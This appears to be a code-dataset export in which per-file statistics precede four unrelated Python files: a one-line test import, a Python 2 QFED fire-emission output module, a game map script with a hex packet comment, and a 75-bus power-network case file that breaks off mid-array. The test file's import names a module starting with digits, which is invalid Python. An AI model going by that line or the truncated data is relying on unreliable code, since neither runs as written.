0.735111
0.723785
0.723785
0
0.003354
0.251654
4,383
130
92
33.715385
0.831098
0.152863
0
0.7625
0
0
0.010175
0
0
0
0
0
0
1
0.225
false
0
0.0875
0
0.375
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
230fd384407be3072bceb5625a63c06888823fd4
80
py
Python
tests/test_524_florence_nightingale_python_e.py
elliott-ribner/524_florence_nightingale_python_e
2c2e084c825bbed7e7b36596c13a24174b8dde7f
[ "MIT" ]
null
null
null
tests/test_524_florence_nightingale_python_e.py
elliott-ribner/524_florence_nightingale_python_e
2c2e084c825bbed7e7b36596c13a24174b8dde7f
[ "MIT" ]
null
null
null
tests/test_524_florence_nightingale_python_e.py
elliott-ribner/524_florence_nightingale_python_e
2c2e084c825bbed7e7b36596c13a24174b8dde7f
[ "MIT" ]
null
null
null
from 524_florence_nightingale_python_e import 524_florence_nightingale_python_e
40
79
0.95
12
80
5.666667
0.583333
0.323529
0.647059
0.823529
0.852941
0
0
0
0
0
0
0.078947
0.05
80
1
80
80
0.815789
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
1
null
null
0
1
0
0
null
1
1
1
1
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
8
233b5e37999cc3481b16bf1854fb978d77d7845b
3,992
py
Python
src/Components/qfed/qfed/__init__.py
GEOS-ESM/AeroApps
874dad6f34420c014d98eccbe81a061bdc0110cf
[ "NASA-1.3", "ECL-2.0", "Apache-2.0" ]
2
2020-12-02T14:23:30.000Z
2021-12-31T15:39:30.000Z
src/Components/qfed/qfed/__init__.py
GEOS-ESM/AeroApps
874dad6f34420c014d98eccbe81a061bdc0110cf
[ "NASA-1.3", "ECL-2.0", "Apache-2.0" ]
9
2020-04-15T16:22:14.000Z
2022-03-24T13:59:25.000Z
src/Components/qfed/qfed/__init__.py
GEOS-ESM/AeroApps
874dad6f34420c014d98eccbe81a061bdc0110cf
[ "NASA-1.3", "ECL-2.0", "Apache-2.0" ]
null
null
null
""" QFED - Quick Fire Emission Dataset This module contains QFED support modules. """ from PlumeRise import PLUME_L2,PLUME_L3 class QFED(PLUME_L2): def print_l2b(self,filename=None): """ Writes ASCII file with lon/lat/FRP/biome type and % fire area. """ try: self.veg except: raise ValueError, '"veg" attribute not defined; use methods GetSimpleVeg() or GetDetailedVeg() to define vegetation type.' try: self.p except: raise ValueError, 'fire size attribute not defined; use method dozier() to define it.' if filename is None: f = sys.stdout else: f = open(filename,"w") N = self.lon.size jday = int(self.yyyy[N/2]*1000 + self.jjj[N/2]) print >>f, '<fire_locations version=2.00 satellite="%s" total_number=%d jdate=%d time=#1 lon=#2 lat=#3 pow=#4 veg=#5 fire_size=#6 md5sum=n/a>'%(self.sat,N,jday) for i in range(N): print >>f, '%02d%02d %10.5f %10.5f %10.5f %2d %10.5f'%(\ self.hh[i],self.nn[i],self.lon[i],self.lat[i],\ self.pow[i],self.veg[i],self.p[i]) #......................................................................... def print_l2c(self,filename=None): """ Writes ASCII file with lon/lat/FRP/biome type and % fire area. """ try: self.veg except: raise ValueError, '"veg" attribute not defined; use methods GetSimpleVeg() or GetDetailedVeg() to define vegetation type.' try: self.p except: raise ValueError, 'fire size attribute not defined; use method dozier() to define it.' if filename is None: f = sys.stdout else: f = open(filename,"w") N = self.lon.size jday = int(self.yyyy[N/2]*1000 + self.jjj[N/2]) print >>f, '<fire_locations version=2.00 satellite="%s" total_number=%d jdate=%d time=#1 lon=#2 lat=#3 pow=#4 veg=#5 r_F=#6 plume_k1=#7 plume_k2=#15 md5sum=n/a>'%(self.sat,N,jday) for i in range(N): pp = ( self.hh[i],self.nn[i],self.lon[i],self.lat[i], self.pow[i],self.veg[i],self.r_F[i] ) k1 = tuple(self.k_plume[:,i,0].astype(int)) k2 = tuple(self.k_plume[:,i,1].astype(int)) tt = pp + k1 + k2 print >>f, \ '%02d%02d %10.5f %10.5f %10.5f %2d %4.2f %2d %2d %2d %2d %2d %2d %2d %2d %2d %2d %2d %2d %2d %2d %2d %2d'%tt #......................................................................... def print_l2d(self,filename=None): """ Writes ASCII file with lon/lat/FRP/biome type and % fire area. """ try: self.veg except: raise ValueError, '"veg" attribute not defined; use methods GetSimpleVeg() or GetDetailedVeg() to define vegetation type.' try: self.p except: raise ValueError, 'fire size attribute not defined; use method dozier() to define it.' if filename is None: f = sys.stdout else: f = open(filename,"w") N = self.lon.size jday = int(self.yyyy[N/2]*1000 + self.jjj[N/2]) print >>f, '<fire_locations version=2.00 satellite="%s" total_number=%d jdate=%d time=#1 lon=#2 lat=#3 pow=#4 veg=#5 fire_size=#6 plume_p1=#7 plume_p2=#8 plume_k1=#9 plume_k2#10 md5sum=n/a>'%(self.sat,N,jday) for i in range(N): print >>f, \ '%02d%02d %10.5f %10.5f %10.5f %2d %10.5f %10.3f %10.3f %3d %3d'%(\ self.hh[i],self.nn[i],self.lon[i],self.lat[i],\ self.pow[i],self.veg[i],self.p[i],\ self.p_plume[i][0],self.p_plume[i][1], self.k_plume[i][0],self.k_plume[i][1]) #.........................................................................
35.642857
216
0.504259
569
3,992
3.488576
0.209139
0.047859
0.042317
0.052393
0.861461
0.832242
0.832242
0.832242
0.832242
0.832242
0
0.054383
0.29985
3,992
111
217
35.963964
0.655814
0.05486
0
0.710145
0
0.086957
0.341535
0
0
0
0
0
0
0
null
null
0
0.014493
null
null
0.130435
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
88f1149115492abf3117fdc9ac30cf77dc6fb2e6
312
py
Python
scripts/field/enter_402000600.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
54
2019-04-16T23:24:48.000Z
2021-12-18T11:41:50.000Z
scripts/field/enter_402000600.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
3
2019-05-19T15:19:41.000Z
2020-04-27T16:29:16.000Z
scripts/field/enter_402000600.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
49
2020-11-25T23:29:16.000Z
2022-03-26T16:20:24.000Z
# Created by MechAviv # Map ID :: 402000600 # Refuge Outskirts : Caravan Refuge # Unhandled Message [47] Packet: 2F 02 00 00 00 B0 83 08 00 00 00 00 00 2E 02 00 00 00 00 00 80 05 BB 46 E6 17 02 00 00 B8 22 11 00 00 00 00 00 63 04 00 00 00 02 C0 6A 2A F2 79 D6 D4 01 0D 00 66 69 65 6C 64 5F 65 6E 74 65 72 3D 31
52
230
0.689103
80
312
2.6875
0.6375
0.316279
0.306977
0.223256
0.139535
0
0
0
0
0
0
0.555556
0.278846
312
5
231
62.4
0.4
0.967949
0
null
0
null
0
0
null
1
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
1
1
1
0
0
0
0
0
0
0
1
0
0
1
0
0
1
1
0
0
0
0
0
0
null
1
0
0
0
0
0
1
0
0
0
0
0
0
9
cc42be5d81c0dc7654ea2f6a9a334a96ac5c34e6
37,152
py
Python
case75.py
qgemine/anm
a5958997f244f3e7c4ee59c0ff9f7cdc94c9e71c
[ "MIT" ]
null
null
null
case75.py
qgemine/anm
a5958997f244f3e7c4ee59c0ff9f7cdc94c9e71c
[ "MIT" ]
1
2020-02-18T06:46:32.000Z
2020-02-18T06:46:32.000Z
case75.py
qgemine/anm
a5958997f244f3e7c4ee59c0ff9f7cdc94c9e71c
[ "MIT" ]
3
2015-01-11T03:13:21.000Z
2019-10-20T10:31:30.000Z
from numpy import array, ceil from models import LoadSampler def case75(flex_level = 'MEDIUM'): case = {"version": "ANM"} ## system MVA base case["baseMVA"] = 1.0 ## Bus data case["bus"] = array([ [1000, 3, 0.0, 0.0, 0, 0, 1, 1, 0, 33, 1, 1.1, 0.9], [1100, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1101, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1102, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1103, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1104, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1105, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1106, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1107, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1108, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1109, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1110, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1111, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1112, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1113, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1114, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1115, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1116, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1117, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1118, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1119, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1120, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1121, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1122, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1123, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1124, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1125, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1126, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1127, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1128, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1129, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1130, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1131, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1132, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1133, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1134, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1135, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1136, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1137, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1138, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1139, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1140, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1141, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1142, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1143, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1144, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1145, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1146, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1147, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1148, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1149, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1150, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1151, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1152, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1153, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1154, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1155, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1156, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1157, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1158, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1159, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1160, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1161, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1162, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1163, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1164, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1165, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1166, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1167, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1168, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1169, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1170, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1171, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1172, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1173, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1174, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95], [1175, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95] ]) ## Gen data case["gen"] = array([ [1000, 0.0, 0.0, 100.0, -100.0, 1.02, 100.0, 1, 100.0, -100.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1101, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1103, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1104, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1106, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1107, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1109, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1110, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1111, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1113, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1114, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1115, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1117, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1120, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1122, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1123, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1124, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1125, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1126, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1128, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1131, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1133, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1134, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1135, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1136, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1137, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1139, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1142, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1144, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1146, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1147, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1148, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1149, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1150, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1151, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1153, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1154, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1156, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1157, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1158, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1160, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1161, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1163, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1164, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1165, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1167, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1168, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1169, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1170, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1171, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1172, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1173, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1174, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1175, -1.0, -0.2031, 0.0, 0.0, 0.0, 100.0, 1, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1101.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1103.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1104.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1106.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1107.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1109.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.32, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1110.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1111.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.25, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1113.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.07, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1114.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.31, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1115.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1117.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1120.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.27, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1122.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1123.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1124.0, 1.0, 0.2031, 0.0, 0.0, 0.0, 100.0, 1.0, 0.4, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 